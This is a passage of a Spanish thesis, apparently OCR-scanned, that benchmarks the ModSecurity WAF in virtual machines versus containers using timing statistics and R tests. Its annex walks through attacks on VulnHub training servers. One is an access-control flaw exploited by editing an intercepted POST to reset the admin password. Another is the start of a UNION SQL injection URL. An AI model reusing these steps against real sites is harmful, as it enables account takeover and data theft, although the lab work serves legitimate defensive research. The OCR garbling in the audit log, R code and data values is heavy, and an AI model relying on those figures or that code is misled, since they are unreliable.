potente para célculos cientificos y numéricos. Se recolect6 un total de veinte muestras
del parametro “Stopwatch” para el vector de ataque en cada una de las nueve categorias
del framework OWASP Top 10 en las que las dos soluciones WAF demostraron ser
eficaces. El nimero de muestras seleccionadas tiene relacion con el nivel de
significancia de 5% escogido para el analisis, lo que equivale a una confiabilidad del
95% en los resultados. Estos criterios se pueden interpretar también como que una
muestra, de las veinte recolectadas, fue un falso positivo, hecho que representa el 5%
del total de observaciones. Si se trabajase con un ndmero inferior de muestras,
manteniendo el nivel de significancia de 5%, el niamero de falsos positivos sera menor

que la unidad, lo que no es aplicable para este analisis.
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Figura 4.2

Ejemplo de un log de auditoria registrado por ModSecurity

--Baa3dcal?-A—-

[18/0ct/Z2823:1Z2:069:83 .886645 —-B50B]1 ZTARL7RctISxNITcTmtDxOAARAA 19Z2.168.168.158 37348 19Z2.168.18.5 §
a

--Baadcal?-B-—-

CONNECT push.services.mozilla.com:443 HTTP-1.1

U=er-Agent: Mozilla-5.8 (X11: Linux =86_64: rv:189.8) Gecko-2B1868181 Firefox-115.8

Proxy-Conmection: keep-aliwve

Conmmection: keep-alive

Host: push.services.mozilla.com:443

--Baadcal?-F—

HTTF 1.1 484 Not Found

Content-Length: 2868

Content-Type: textshtml; charset=iso-8859-1
Keep-Alive: timeout=5, max=168

Connection: Keep-fAilive

--Baajcal?-H—-

Message: Aiccess denied with code 483 (phase 2). Match of “within x{tx.allowed_methods}" against "RE()
UEST_METHOD" required. [file "setc/httpd-modsecurity.dscoreruleset-3.3.4.-rules~REQUEST-911-METHOD-E!
FORCEMENT.conf”1 [line "44"1 [id "9111688"1 [msg "Method is wot allowed by policy™] [data "COMNECT"]
[severity "CRITICAL"]1 [wer "OWASP_CRS/3.3.4"1 [tag "application-multi™] [tag “"language-multi'™1 [tag
"platform-multi'’] [tag "attack-generic™] [tag “paranoia-lewelrs1"]1 [tay "OWASP_CRS"1 [tag “capec-10688
r218,272,228-274"1 [tag "PCI-12.1%]

fipache-Error: [file “apacheZ_util.c] [line 2711 [level 31 [client 19Z.168.18.1581 ModSecurity: Acce
ss denied with code 483 (phase 2). Match of "within x{tx.allowed_methods}" against “REQUEST_METHOD"
required. [file "/etc/httpd/modsecurity.d-coreruleset-3.3.4-rules/REQUEST-911-METHOD-ENFORCEMENT . cov
£"1 [line "44"1 [id "911188"]1 [msg "'Method is not allowed by policy”l [data "CONNECT"] [severity "CH
ITICAL"] [ver "DWASP_CRS-3.3.4"1 [tag “application-multi"1 [tag “language-multi"1l [tag "platform-mu]
ti"1 [tay “attack-generic"] [tag "paramoia-level-s1"]1 [tag "OWASP_CRS"]1 [tay “capec/1888-218-272-228
Z74"1 [tag "PCI~1Z.1"1 [hostname “push.services.mozilla.com”1l [uri "1 [unigque_id "ZTARL7RctISx=N1T(]
TmtDxQAnAAR™ 1

fiction: Intercepted (phase 2)

fipache-Handler: proxy-server

Stopwatch: 1697648766483285 3889 (- - -)

StopwatchZ: 1697648766483265 98689; combined=0874, pi1=533, p2=154, p3=B, p4=8, p5=167, sr=142, sw=@, ]
=8, gc=H

Producer: ModSecurity for fApachesZ2.9.6 (http:r wmm. modsecurity.orgs): OWASFE_CRS-3.3.4.

Jerver: fApachesZ.1.6 (Cent03)

Engine-Mode: “ENABLED"

--5ab97374-Z—-

Nota: Figura elaborada por el autor, (Reyes, 2024).

Tabla 4.5
Detalle de la estructura de los logs de auditoria de ModSecurity
Identificador de seccién Descripcion

A Encabezado del registro de auditoria (obligatorio)
B Encabezados de la solicitud
C Cuerpo de la solicitud
D Reservado
E Cuerpo de la respuesta
F Encabezados de la respuesta
G Reservado
H Cola del registro de auditoria, contiene datos adicionales
I Cuerpo reducido de solicitud multiparte, excluye archivos
J Informacidn sobre archivos cargados (solicitudes multiparte)
K Lista de todas las reglas que coincidieron con la transaccion
Z Limite final (obligatorio)

Nota: Recuperado de “ModSecurity Handbook” (Folini & Risti¢, 2021)
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Asi mismo, se asume que las muestras siguen una distribucion normal y se realiza una
prueba de Levene para determinar la igualdad de varianzas entre los grupos. Verificar
esto, previo a la ejecucién de las pruebas t-estandar o t-Welch, dependiendo de si las
varianzas de los grupos no son significativamente diferentes, o si, respectivamente,
permite asegurar que los resultados del analisis estadistico realizado son validos y
confiables. El proceso para el andlisis estadistico realizado se ilustra en el diagrama de

flujo de la Figura 4.3.

Figura 4.3

Diagrama de flujo para el analisis estadistico de las variables de procesamiento

Fin (No hay diferencia
significativa
entre las medias)

Comparacion
de medias
(Prueba t)

* Fin (Hay diferencia
significativa
entre las medias)

Comparacion
de varianzas
(Levene)

Comparacion de P8 W Fin (No hay diferencia
medias significativa
(Prueba t-Welch) entre las medias)

~ Fin (Hay diferencia
significativa
entre las medias)

Nota: Figura elaborada por el autor, (Reyes, 2024).

A manera de ejemplo, en la Figura 4.4 se presenta un fragmento del codigo de R
utilizado para crear el data-frame de los resultados del tiempo de procesamiento para las
variables pl, p2, p5 y sr de los dos escenarios de estudio, en la categoria
A02:2021 - Fallas criptograficas del OWASP Top 10. Asi mismo, el cédigo contempla
la ejecucion de las pruebas de Levene y t-estandar para la variable de procesamiento p1l.
En este caso particular, el valor p resultante de la prueba de Levene es 0.9690, lo que
significa que la varianza de los grupos, pl para maquinas virtuales y pl para
contenedores, no son significativamente diferentes. Cotejando el valor resultante de la
prueba de Levene con el diagrama de flujo presentado en la Figura 4.3, corresponde la
ejecucion de la prueba t-estandar. El resultado de la prueba t-estandar es de 0.0088, y al
ser menor que 0.05, se traduce en que hay una diferencia significativa entre las medias
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de los grupos con un mayor tiempo de procesamiento pl en el escenario de

contenedores.

Siguiendo esta misma metodologia, y teniendo en cuenta que en algunos casos se debe
ejecutar una prueba t-Welch en lugar de una prueba t-estandar, se realizé el analisis
estadistico para todas las variables de procesamiento en las nueve categorias donde las
soluciones WAF demostraron ser eficaces. Los resultados de los valores p obtenidos se

presentan en la Tabla 4.6.

Figura 4.4

Fragmento de codigo de R para el analisis estadistico de variables de procesamiento

library(sur)
library(car)

esl pl<-rep('P
esl_mv<-rep ('l

esl_de<-rep('D )

esl p2<-rep(’

esl p5<-rep('P5’

esl sr<-rep('SR',

esl_pl mv<-c(929, p021, 544, ,550,496,465,490, 603,465,542, 548,793, 633,590,488, 745,501, 567) ;
esl_pl_de<-c( $520, PEE4, T8, P00, 804,800,880, 824, ,TBE, 8403, 842,021,850, 822,838, 883) ¢
esl_p2_mv<-c( ’ ' P90, ' ' a ' 900, ' 1905, ’ ' ' ' ' )i
esl p2 de<-c(359, ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' )i
esl p5 mw<-c(207,395,170,168,225,284,131,120,126,165,145,164,129,168,209,186,164,166,125,141);

esl_p5_de<-c( p 176,245,428, 256,150,478, 364,183, 211,254, 217,455,526, 153,251, 198,226,193,160)

esl_sr_mv<-c (342,509, 186,264, 241,124,131, 113,112,146, 006, 123,119, 167,126, 140,113,2353,105,120) ;

esl _sr_de<-c(881,300,351,281,221,27%,242,223,234,216,240,279,218,286,267,304,230,280,218,250) ¢

tiempos<-c(esl_pl dc,esl pl mv,esl p2 dc,esl p2 mv,esl p5 dc,esl p5 mv,esl sr dc,esl sr mv)
metrica<-c(esl pl,esl pl,esl p2,esl p2,esl p5,esl p5,esl sr,esl sr)
Entorno<-c(esl_dc,esl mv,esl dc,esl mv,esl dc,esl mv,esl dc,esl mv)
ataque 1 <- data.frame(
"Tiempo" = tiempos,
" = metrica,
5" = Entorno)

ettt AR A AR R R EH R R R R R R R R R R R R A HHH HHEH EH E R R R R R R R R AR R A 4
# Datos para MV y Docker para la métrica P1

datos_MV_P1 <- ataque_l$Tiempo[ataque_l$Entorno == 'MV' & ataque_l$Metrica == 'F1']
datos_Docker_Pl <- ataque_l$Tiempo[atacue_l$Entorno == 'Docker' & ataque l$Metrica == 'Pl']
# Prueba de Levene P1

datos_levene Pl <- c(datos MV _Pl, datos Docker P1)

# Crear un vector que indique a qué grupo pertensce cada observacién

grupo 1 <- rep(c("MV", "Docker"), each = 20)

# Realizar la prueba de Levene

resultade levene <- leveneTest(datos levene Pl, grupo 1)

print(resultade levene)

# Realizar la prueba t estandar P1

t.test(datos_MV_P1, datos Docker P1)

HEH R R R R R R R R R R

Nota: Figura elaborada por el autor, (Reyes, 2024).

Desde la Figura 4.5 hasta la Figura 4.13 se presentan los diagramas de cajas de las
métricas del procesamiento de solicitudes de las soluciones WAF para las nueve

categorias de OWASP Top 10 consideradas. Es importante aclarar que solo se tomaron
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en cuenta aquellas variables del parametro “Stopwatch” que mostraron un cambio

apreciable durante el proceso de muestreo.

Figura 4.5

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

02:2021 - Fallas criptogréficas”

3000 -
500 - 500-  ®
400-1 e 400 -
2000 - .
. 300 . 300 ﬁ
(1]
= 200 200 - *
g
g 100~ 100-
2 0

h—#'-'ﬁ

0-

Métrica

Nota: Figura elaborada por el autor, (Reyes, 2024).

Figura 4.6

Entorno
ES Docker
=\

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

032021 -

1200-

900-

600 -

Tiempo [us]

300-

Inyeccion”

e =

Métrica

Nota: Figura elaborada por el autor, (Reyes, 2024).
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Figura 4.7

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

04:2021 - Disefio inseguro”
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Métrica

Nota: Figura elaborada por el autor, (Reyes, 2024).

Figura 4.8

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

05:2021 - Configuracion de seguridad incorrecta”

8 L
900-
E . ~ Entorno
E&BGG' E3 Docker
Qo
2 ==\

0
——

Y
== =

P1 P2 P5 SR
Métrica

Nota: Figura elaborada por el autor, (Reyes, 2024).
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Figura 4.9

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

06:2021 - Componentes vulnerables y desactualizados ”
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Nota: Figura elaborada por el autor, (Reyes, 2024).

Figura 4.10
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Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

07:2021 - Fallas de identificacién y autenticacion”
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Nota: Figura elaborada por el autor, (Reyes, 2024).
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Figura 4.11

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

08:2021 - Fallas en el software y en la integridad de los datos”
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Nota: Figura elaborada por el autor, (Reyes, 2024).

Figura 4.12

Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

09:2021 - Fallas en el registro y monitoreo”
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Nota: Figura elaborada por el autor, (Reyes, 2024).
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Figura 4.13
Métricas del procesamiento de solicitudes de las soluciones WAF para la categoria “A-

10:2021 - Falsificacion de solicitudes del lado del servidor”

:
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Nota: Figura elaborada por el autor, (Reyes, 2024).

De acuerdo con los datos presentados en la Tabla 4.6, se derivan tres casos de analisis

resumidos de la siguiente manera:

e El caso A, de las celdas resaltadas en color amarillo, indica que el valor p de la
prueba de Levene es menor que el nivel de significancia de 0.05, lo que se
traduce en que la varianza de los grupos analizados es significativamente
diferente, o lo que es lo mismo, no son homogéneas. Esto provoca que para el
analisis de las medias en los dos escenarios se deba aplicar una prueba
estadistica mas robusta que no asuma que las varianzas no son
significativamente diferentes. La prueba idonea para esto es la t-Welch.

e El caso B, de las celdas resaltadas en color azul, indica que el valor p de las
pruebas utilizadas para evaluar las medias de las variables del parametro
“Stopwatch” para los dos escenarios, t-estandar y t-Welch, es mayor que el nivel
de significancia de 0.05, lo que se traduce en que no hay una diferencia
significativa entre las medias de los grupos analizados. Este resultado de la
prueba estadistica imposibilita la eleccién de un ambiente u otro de la solucién

WAF implementada en quince de los treinta y seis posibles contextos.

45



Tabla 4.6

Resultados de los valores p del analisis estadistico de las variables p1, p2, p5y sr.

(Escenarios para anélisis: (A) color amarillo; (B) color azul; (C) color verde)

Categoria

OWASP Pru?bg P1 P2 P5 SR
Top 10 estadistica  \;\y1 pocker MV Docker MV Docker MV  Docker
Levene 0.9690 0.5451 0.0628 0.9826
A02:2021 t - estandar 0.0088© 0.0034© 0.0162© 0.0065©
t - Welch N/A N/A N/A N/A
Levene 0.9868 0.7655 0.3933 0.6289
A03:2021 t - estandar 0.0968® 0.0029© 0.1298® 0.1832®
t - Welch N/A N/A N/A N/A
Levene 0.0368" 0.6180 0.7406 0.3239
A04:2021 t - estandar N/A 6.45e-05(© 8.88e-04©) 0.1448®
t - Welch 1.99e-04©) N/A N/A N/A
Levene 0.1924 0.1008 0.0626 0.0440%W
A05:2021 t - estandar 0.1459®) 0.3844® 0.2819® N/A
t - Welch N/A N/A N/A 7.58e-07©
Levene 0.2537 0.1526 0.1612 0.5456
A06:2021 t - estandar 0.0429©) 0.0429©) 0.0161© 0.6269®)
t - Welch N/A N/A N/A N/A
Levene 7.03e-03"W 0.0605 0.04461"W 0.5066
A07:2021 t- estandar N/A 0.0576® N/A 0.0067©
t - Welch 0.0028© N/A 0.0372© N/A
Levene 0.6472 0.0460% 0.3592 0.0209%)
A08:2021 t - estandar 2.14e-05© N/A 0.2938®) N/A
t - Welch N/A 0.5331® N/A 5.45e-09(©)
Levene 0.8970 0.0413%W 0.8123 0.0418"
A09:2021 t - estandar 0.2165® N/A 0.9215® N/A
t - Welch N/A 0.0015© N/A 1.81e-05©
Levene 0.2934 0.1494 0.2578 0.2582
A10:2021 t- estandar 0.9018® 0.1119® 0.0201© 0.0164©
t - Welch N/A N/A N/A N/A

e El caso C, de las celdas resaltadas en color verde, indica que el valor p de las

pruebas utilizadas para evaluar las medias de las variables del parametro

“Stopwatch” para los dos escenarios, t-estandar y t-Welch, es menor que el nivel

de significancia de 0.05, lo que se traduce en que hay una diferencia

significativa entre las medias de los grupos. Este resultado de la prueba

estadistica, en conjunto con los valores numéricos de las medias presentados

1 VM es el acrénimo de Virtual Machine, tecnologia que permite la creacion de un entorno de
computacion virtualizado dentro de un sistema operativo fisico.
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desde la Figura 4.5 hasta la Figura 4.13, permite determinar en qué contextos un
ambiente es mejor que el otro para la solucion WAF implementada. Esto ocurre

en veinte y uno de los treinta y seis posibles contextos.
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CAPITULO V
CONCLUSIONES Y RECOMENDACIONES

5.1 Conclusiones

En el presente proyecto, un laboratorio de pruebas para soluciones WAF open source
que operan en escenarios de maquinas virtuales y contenedores, fue implementado. La
finalidad de este laboratorio fue evaluar la eficacia de las dos soluciones mediante una
comparacion cuantitativa y un andlisis estadistico de variables de procesamiento
resultantes de ejecutar vectores de ataques para explotar las vulnerabilidades reportadas
por OWASP Top 10 en su version 2021.

Para la caracterizacion de soluciones WAF open source, que operan en ambientes de
maquinas virtuales y contenedores, se consideré varias soluciones incluyendo
ModSecurity, Coraza WAF, NAXIS, Shadow Daemon y WebKnight. Después del
analisis pormenorizado de las caracteristicas de los WAFs, se elaboré una matriz de
decision basada en criterios como el licenciamiento, la documentacién disponible, el
mantenimiento por parte de la comunidad, los servidores web sobre los que la solucion
WAF trabaja, la cuota de mercado de sitios activos a nivel mundial, la integracion con
otros activos de seguridad en la red y el cddigo fuente oficial para los escenarios de esta
investigacion. Esta matriz de decision fue la partida del analisis de toma de decisiones
multicriterio que contemplé el método de la entropia para determinar los pesos de
importancia relativos y el método TOPSIS para la toma de decision. El anlisis de toma
de decisiones multicriterio arrojo que ModSecurity es la mejor solucion WAF open

source para la implementacion del laboratorio de pruebas.

Utilizando el hipervisor VirtualBox se implementd el laboratorio de pruebas, objeto de
esta investigacion. Dicho laboratorio contempla méaquinas cliente, méquina con
Kali-Linux para pruebas de penetracion, servidor DHCP para asignacién dinamica de
direccionamiento IP, soluciones WAF para los ambientes de maquinas virtuales y
contenedores, y servidores web vulnerables descargados de la plataforma VulnHub. Los
WAF puestos a prueba en el laboratorio trabajaron como proxy inverso con la
modalidad de seguridad negativa para cotejar las solicitudes contra el conjunto de reglas
CRS (Core Rule Set) de OWASP.
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De la comparacion de los resultados de las pruebas realizadas se desprende que
ModSecurity, en ambos escenarios evaluados, demostré ser eficaz para nueve de las
diez categorias contempladas en el framework OWASP Top 10. Para la primera
categoria “A01:2021 Pérdida de control de acceso” no fue eficaz debido a que se
requiere la implementacion de reglas personalizadas que se ajusten a la funcionalidad de

acceso de cada aplicativo web especifico.

Del andlisis estadistico de las variables de procesamiento pl, p2, p5y sr del pardmetro
“Stopwatch” que ModSecurity registr6 para los vectores de ataque de las nueve
categorias del OWASP Top 10, donde demostro ser eficaz, se concluye que en el 41.6%
de los casos las dos soluciones tienen una media de procesamiento estadisticamente
similar. Asi mismo, en el 36.1% de los casos la media de procesamiento de la solucion
en ambiente de contenedor es mayor que la media de procesamiento de la solucion en
ambiente de maquina virtual. Finalmente, en el 22.3% de los casos la media de
procesamiento de la solucidén en ambiente de maquina virtual es mayor que la media de

procesamiento de la solucion en ambiente de contenedor.

Los resultados obtenidos, asi como el marco metodoldgico presentado, muestran una
conceptualizacién fundamental para la implementacion de WAFs open source y puede
ser eventualmente puesto en produccion en empresas conscientes de la importancia de la
seguridad informatica, pero con la limitacién presupuestaria para implementaciones

comerciales.
5.2 Recomendaciones

Al realizar la instalacion y puesta en marcha de ModSecurity en los escenarios de
maquinas virtuales y contenedores, es recomendable asegurarse de que las
configuraciones en el archivo .conf sean similares linea por linea. Esto es importante
para evitar sobre procesamiento en las peticiones hacia el servidor, lo que podria
resultar en datos incorrectos en las variables del parametro “Stopwatch” que se

utilizaron en el analisis estadistico.

Si se tiene el inconveniente de que el archivo de registros de auditoria de ModSecurity
estd siempre vacio y no se almacena la informacidn relevante de los ataques realizados

en contra del servidor web vulnerable, se recomienda modificar la linea SecAuditLog
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Ivar/log/modsec_audit.log en el archivo de configuracion de ModSecurity para

modificar la ruta destino.

Si al ejecutar un vector de ataque se registran los logs de auditoria de ModSecurity,
pero no se bloquea la peticion del lado del cliente, a pesar de que el modo de solo
deteccidn esté deshabilitado, se recomienda realizar una copia de las paginas HTML de
error predeterminadas del servidor web Apache en la ruta especifica donde se instald
ModSecurity. Ademas, si se desea presentar paginas de error personalizadas, los
cédigos HTML deben estar cargados en esta ruta de sistema.

Si al integrar los servidores web vulnerables en el laboratorio de pruebas, éstos no
reciben direccion IP mediante DHCP, se recomienda modificar los archivos de
configuracién de la interface de red de la maquina virtual, de tal manera que exista una

concordancia con el nombre de la interface de red que entrega el comando ifconfig.

La culminacion de este trabajo no marca el final de la investigacion acerca de los
WAFs open source, por el contrario, abre nuevas oportunidades y lineas de
investigacion en esta area. Por ejemplo, el concepto de comparar la eficacia de una
solucion WAF en dos escenarios de operacion, abordado en este trabajo, puede
extenderse a una comparacién mas amplia de soluciones WAF. Esto permitira obtener
métricas de procesamiento, como solicitudes por segundo, y métricas de sobre carga en
el hardware, como memoria y CPU, para escenarios de alto flujo de trafico. Se
recomienda considerar la solucion Coraza WAF, que al término de este proyecto esta
siendo desarrollada con una alta aceptacion y colaboracion por parte de la comunidad

open source.
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ANEXO A: EXPLOTACION DE VULNERABILIDADES REPORTADAS EN
OWASP TOP 10 SIN LA PROTECCION DE UNA SOLUCION WAF.

En el presente anexo se ejecutan ataques sobre servidores web vulnerables de
entrenamiento sin la proteccion de una solucion WAF, con la finalidad de explotar las
vulnerabilidades reportadas en OWASP TOP 10.

A continuacion, se presenta el detalle y los resultados obtenidos de los ataques

ejecutados.

A01:2021 — Pérdida de control de acceso

Para este apartado se explota el servidor vulnerable “DARKHOLE:1” de la plataforma
VulnHub.

Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“DARKHOLE:1” disponible en el enlace https://www.vulnhub.com/entry/dark
hole-1,724/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable
(192.168.10.14) una vez integrado en el laboratorio de pruebas (ver Figura A.1).

Figura A.1
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “DARKHOLE: 7"

/home/kali/Desktop/A01_2021_Maquina_Darkhole_VulnHub

0 -1 ethl --local
Interface: ethl, type: EN1OMB, MAC: 08:00:27:2f:3a:a6, IPv4: 192.168.10.150
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.2 08:00:27:24:17:f5 PCS Systemtechnik GmbH
192.168.10.1 0a:00:27:00:00:48 (Unknown: locally administered)
192.168.10.2 08:00:27:c0:b5:2f PCS Systemtechnik GmbH (DUP: 2)
192.168.10.14 08:00:27:d3:93:bd PCS Systemtechnik GmbH

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.175 seconds (117.70 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta
nmap (ver Figura A.2).

4. En el navegador del cliente se escribe http://192.168.10.14 para verificar que el
servidor web vulnerable esté disponible (ver Figura A.3).
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Figura A.2
Escaneo de puertos abiertos en el servidor “DARKHOLE:1" con nmap

/home/kall/Desktop/AOl 2021_Maquina_bDarkhole_VulnHub/nmap

I 5000 Pn 192.168.10.14 G Puertos_Abiertos
Starting Nmap 7.94 ( https: //nmap org ) at 2023-10-19 17:20@ EDT
Nmap scan report for 192.168.10.14
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu@.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:50:d9:50:5d:91:30:50:e9:b5:7d:ca:b0:51:db:74 (RSA)
| 256 73:0c:76:86:60:63:06:00:21:¢c2:36:20:3b:99:c1:f7 (ECDSA)
|_ 256 54:53:4c:3f:4f:3a:26:f6:02:aa:9a:24:ea:1b:92:8c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: DarkHole
| http-cookie-flags:
| i
| PHPSESSID:
I_ httponly flag not set
| _http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:D3:93:BD (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit
A

Nmap done: 1 IP address (1 host up) scanned in 9.08 seconds

Figura A.3
Verificacion de disponibilidad del servidor vulnerable “DARKHOLE: 1"

& C @ O A& 192168.10.14 P, Ch)

Kali Linux 8 KaliTools « KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

D ar k H (o] I e logout Dashboard

The Spark Dimond

New area / Future City

5. En el servidor wvulnerable se crea wuna cuenta con las credenciales
Aldrin-UTN : Aldrin-UTN. Creada la cuenta, se ingresa a la aplicacion y se accede a
la interfaz presentada en la Figura A.4, donde se evidencia una seccion para el

cambio de contrasefia del usuario.
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Figura A.4
Interfaz del usuario Aldrin-UTN en el servidor “DARKHOLE:1”

O & 192.168.10.14

KaliLinux # KaliTools « KaliDocs % Kali Forums e Kali NetHunter Exploit-DB

Details:

Update

6. Con la herramienta BurpSuit se intercepta una peticion POST de cambio de

contrasefia para el usuario Aldrin-UTN con id=2 (ver Figura A.5).

Figura A.5

Peticion POST de cambio de contrasefia interceptada con BurpSuit

Burp Suite Community Edition v2023.10.1.1 - Temporary Project

Burp  Preject  Intruder Repeater View  Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer G} settings
Extensions Learn
Intercept HTTP history WebSockets history {C} Proxy settings

f Request te http://192.168.10.14:80

Forward Drop Intercept ison Action Open browser Comment this item &G | HTTRN @
Pretty Raw Hex | = Inspector s = - @ X
1 POST fdashboard.php?id=2 HTTP/1.1
2|Host: 192,168.10.14 Request attributes 2 ~

S User-Agent: Mozilla/5.0 (¥11: Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

4 Accept: text/html,application/xhtml+xml,applications/xml;qg=0.9, inage/avif, inage/webp, ¥/*;q=0.8
5 Accept-Language: en-US,en;g=0.5 Request query parameters 1 v
& Accept -Encoding: gzip, deflate, br

7 Referer: http://192.168.10.14/dashboard. php?id=2

@ Content-Type: application/x-www-form-urlencoded Request body parameters 2 e
S Content-Length: 23

10 Origin: http://192.168.10.14

Request cookies 1 ~
11 DNT: 1
12 Connection: close
12 Cookie: PHPSESSIC=977j6i0fe3ialpazcvd2jgt9sd Request headers 13 W

14 Upgrade-Insecure-Requests: 1
1
11 password=123456789&id=2 I

7. A la peticion interceptada en el paso 6 se le modifica los parametros password e id

para enviarla al servidor e intentar cambiar la contrasefia del usuario admin (ver
Figura A.6).
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Figura A.6
Peticion POST de cambio de contrasefia para el usuario admin del servidor

Burp Suite Community Edition v2023.10.1.1 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaberator Sequencer Decoder Comparer Logger Organizer {C} Settings
Extensions Learn
Intercept HTTP history WebSockets history {C} Proxy settings
f Request to http:/(192.168.10.14:80
Forward Drop Action Open browser Camment this item W HTTRA @
Raw Hex "= | Inspector al) = - @ X

1 POST /dashboard.php?id=2 HTTP/1.1
2 Host: 192.168.10.14 .

5 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0 Requestatiiibutes > v
4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp,*/*;q=0 8
5 Accept-Language: en-US.en;g=0.5 Request query parameters 1 A
& Accept-Encoding: gzip, deflate, br

7 Referer: http://192.168.10.14/dashboard . php?id=2

5 Content-Type: application/x-www-form-urlencoded

S Content-Length: 23

10 Origin: http://192.168.10.14 Reguest cookies I
11 DNT: 1

12 Connection: close

13 Cookie: PHPSESSID=977j610fe3ialpazcvdziqtosd Request headers 13 ~
14 Upgrade-Insecure-Requests: 1

Request body parameters 2 ~

ll password=adminl234&id=1 I

8. Enviada la peticion POST de cambio de contrasefia, se ingresa a la aplicacion
con las credenciales admin : admin1234, corroborando el cambio y accediendo a

la interfaz de administracion presentada en la Figura A.7.

Figura A.7
Validacion de credenciales admin : admin1234 alteradas por vulnerabilidad de control

de acceso en el servidor “DARKHOLE:1"”

KaliLinux g KaliTools = Kali Docs % KaliForums o KaliNetHunter & Exploit-DB  Google Hacking DB /) OffSec {8 Problem loading page

INFORMATION

2ol Password: Upload

oy BB 2

A02:2021 — Fallas criptograficas

Para este apartado se explota el servidor vulnerable “BLACKMARKET:1” de la

plataforma VulnHub.
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Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“BLACKMARKET:1” disponible en el enlace https://www.vulnhub.com/entry
/blackmarket-1,223/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable

(192.168.10.19) una vez integrado en el laboratorio de pruebas (ver Figura A.8).

Figura A.8
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “BLACKMARKET”

/home/kali/Desktop/A@2_2021_Maquina_BlackMarket_VulnHub

0 I ethl L¢ 1
Interface: ethl, type: EN1OMB, MAC: 08:00:27:2f:3a:a6, IPv4: 192.168.10.16
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1 0a:00:27:00:00:48 (Unknown: locally administered)
192.168.10.2 08:00:27:c0:b5:2f PCS Systemtechnik GmbH
192.168.10.2 08:00:27:24:17:f5 PCS Systemtechnik GmbH (DUP: 2)
192.168.10.19 08:00:27:1b:96:26 PCS Systemtechnik GmbH

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.301 seconds (111.26 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.9).

Figura A.9
Escaneo de puertos abiertos en el servidor “BLACKMARKET:1"" con nmap

/home/kali/Desktop/A02_2021_Maquina_BlackMarket_VulnHub/nmap

-p- o -5S - in-ra 5000 -n - 192.168.10.19 -oG Puertos_Abiertos
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 21:56 EDT
Nmap scan report for 192.168.10.19
Host is up (0.0011s latency).
Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd (Ubuntu)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
995/tcp open ssl/pop3 Dovecot pop3d
MAC Address: 08:00:27:1B:96:26 (Oracle VirtualBox virtual NIC)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

4. En el navegador del cliente se escribe http://192.168.10.19 para verificar que el

servidor web vulnerable esté disponible (ver Figura A.10).
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Figura A.10
Verificacion de disponibilidad del servidor vulnerable “BLACKMARKET:1"

&« & QO A 1921681019 0% Yy

KaliLinux # KaliTools = KaliDocs & Kali Forums e Kali NetHunter Exploit-DB

#@iBlackMarket Login

Usemame:

Password:

5. Después de aplicar un proceso de listado de directorios se identifica la ruta
http://192.168.10.19/vworkshop/sparepartsstore.php. Al ingresar a la ruta se
presenta un catadlogo de partes que identifica a cada una con el pardmetro

sparepartid (ver Figura A.11).

Figura A.11
Verificacion de disponibilidad de http://192.168.10.19/vworkshop/sparepartsstore.php

& C @ O & hop/sparepartsstoremore.php?sparepartid=1 120% ¥ - —

Kali Linux # KaliTools « KaliDocs X KaliForums e\ Kali NetHunter Exploit-DB »

Home Login Registration Vehicle Service Vehicle Store Spare Parts

t Auto WorkShop
- Spare parts store

Spare part name: abcd spare

Spare parts type : Lock
Cost : 333.00

Spare parts serial No. : ZXC1

6. La aplicacion es wvulnerable a SQL Injection al provocar un error con el

identificador del producto. Haciendo uso de http://192.168.10.19/vworkshop/spare
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partsstoremore.php?sparepartid=-1%27%20union%?20select%201,2,3,schema_na
